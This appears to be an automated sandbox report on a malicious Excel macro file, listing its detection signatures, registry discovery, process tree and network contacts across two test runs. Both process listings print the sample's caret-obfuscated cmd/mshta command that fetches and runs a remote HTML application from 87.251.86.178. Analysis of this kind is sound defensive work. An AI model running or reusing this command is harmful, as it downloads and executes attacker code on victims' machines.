Malware Analysis Report

2025-01-22 16:07

Sample ID 241111-vtbbxa1mhv
Target 57d8f7819906858cfe4e833aef1ae851437228274043174687cd4c263c0e4b29
SHA256 57d8f7819906858cfe4e833aef1ae851437228274043174687cd4c263c0e4b29
Tags
macro xlm discovery
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

57d8f7819906858cfe4e833aef1ae851437228274043174687cd4c263c0e4b29

Threat Level: Known bad

The file 57d8f7819906858cfe4e833aef1ae851437228274043174687cd4c263c0e4b29 was found to be: Known bad.

Malicious Activity Summary

macro xlm discovery

Process spawned unexpected child process

Suspicious Office macro

Blocklisted process makes network request

System Location Discovery: System Language Discovery

Modifies Internet Explorer settings

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Checks processor information in registry

Enumerates system info in registry

Suspicious behavior: AddClipboardFormatListener

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-11 17:16

Signatures

Suspicious Office macro

macro xlm
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-11 17:16

Reported

2024-11-11 17:18

Platform

win7-20241023-en

Max time kernel

122s

Max time network

124s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\57d8f7819906858cfe4e833aef1ae851437228274043174687cd4c263c0e4b29.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\57d8f7819906858cfe4e833aef1ae851437228274043174687cd4c263c0e4b29.xls

C:\Windows\SysWOW64\cmd.exe

cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/cc.html

C:\Windows\SysWOW64\mshta.exe

mshta http://87.251.86.178/pp/cc.html

Network

Country Destination Domain Proto
DE 87.251.86.178:80 tcp
DE 87.251.86.178:80 tcp

Files

memory/1644-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/1644-1-0x00000000721BD000-0x00000000721C8000-memory.dmp

memory/1644-2-0x00000000721BD000-0x00000000721C8000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-11 17:16

Reported

2024-11-11 17:19

Platform

win10v2004-20241007-en

Max time kernel

149s

Max time network

153s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\57d8f7819906858cfe4e833aef1ae851437228274043174687cd4c263c0e4b29.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\cmd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\mshta.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 680 wrote to memory of 3972 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 680 wrote to memory of 3972 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 3972 wrote to memory of 404 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe
PID 3972 wrote to memory of 404 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\57d8f7819906858cfe4e833aef1ae851437228274043174687cd4c263c0e4b29.xls"

C:\Windows\SYSTEM32\cmd.exe

cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/cc.html

C:\Windows\system32\mshta.exe

mshta http://87.251.86.178/pp/cc.html

Network

Country Destination Domain Proto
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 18.89.109.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
NL 52.109.89.19:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 19.89.109.52.in-addr.arpa udp
DE 87.251.86.178:80 tcp
US 8.8.8.8:53 69.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 95.16.208.104.in-addr.arpa udp
US 8.8.8.8:53 53.210.109.20.in-addr.arpa udp
US 8.8.8.8:53 241.42.69.40.in-addr.arpa udp
US 8.8.8.8:53 71.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 90.16.208.104.in-addr.arpa udp

Files

memory/680-3-0x00007FFD836AD000-0x00007FFD836AE000-memory.dmp

memory/680-2-0x00007FFD43690000-0x00007FFD436A0000-memory.dmp

memory/680-1-0x00007FFD43690000-0x00007FFD436A0000-memory.dmp

memory/680-5-0x00007FFD43690000-0x00007FFD436A0000-memory.dmp

memory/680-4-0x00007FFD43690000-0x00007FFD436A0000-memory.dmp

memory/680-0-0x00007FFD43690000-0x00007FFD436A0000-memory.dmp

memory/680-9-0x00007FFD83610000-0x00007FFD83805000-memory.dmp

memory/680-10-0x00007FFD83610000-0x00007FFD83805000-memory.dmp

memory/680-13-0x00007FFD83610000-0x00007FFD83805000-memory.dmp

memory/680-12-0x00007FFD83610000-0x00007FFD83805000-memory.dmp

memory/680-14-0x00007FFD41290000-0x00007FFD412A0000-memory.dmp

memory/680-11-0x00007FFD83610000-0x00007FFD83805000-memory.dmp

memory/680-8-0x00007FFD83610000-0x00007FFD83805000-memory.dmp

memory/680-6-0x00007FFD83610000-0x00007FFD83805000-memory.dmp

memory/680-15-0x00007FFD41290000-0x00007FFD412A0000-memory.dmp

memory/680-17-0x00007FFD83610000-0x00007FFD83805000-memory.dmp

memory/680-19-0x00007FFD83610000-0x00007FFD83805000-memory.dmp

memory/680-22-0x00007FFD83610000-0x00007FFD83805000-memory.dmp

memory/680-21-0x00007FFD83610000-0x00007FFD83805000-memory.dmp

memory/680-20-0x00007FFD83610000-0x00007FFD83805000-memory.dmp

memory/680-18-0x00007FFD83610000-0x00007FFD83805000-memory.dmp

memory/680-16-0x00007FFD83610000-0x00007FFD83805000-memory.dmp

memory/680-7-0x00007FFD83610000-0x00007FFD83805000-memory.dmp

memory/680-33-0x00007FFD83610000-0x00007FFD83805000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 f64b99616352672125fc96a4a931aa73
SHA1 0b2112468eebefd60da66000ba7db069d0a82987
SHA256 dcd4d4857ea8b2432d5d0dce84d4d04c04d7bed5fe326de19dd714ce91b224e4
SHA512 e2e03015f4f46b918dffa6b782953ffb175d7d5cf5e68d1c4591f14fd1c1b9cd4500490d62b7e5747ad9995ad9fa93011c9cbdd0419d7f8fd7cd56bf870718b2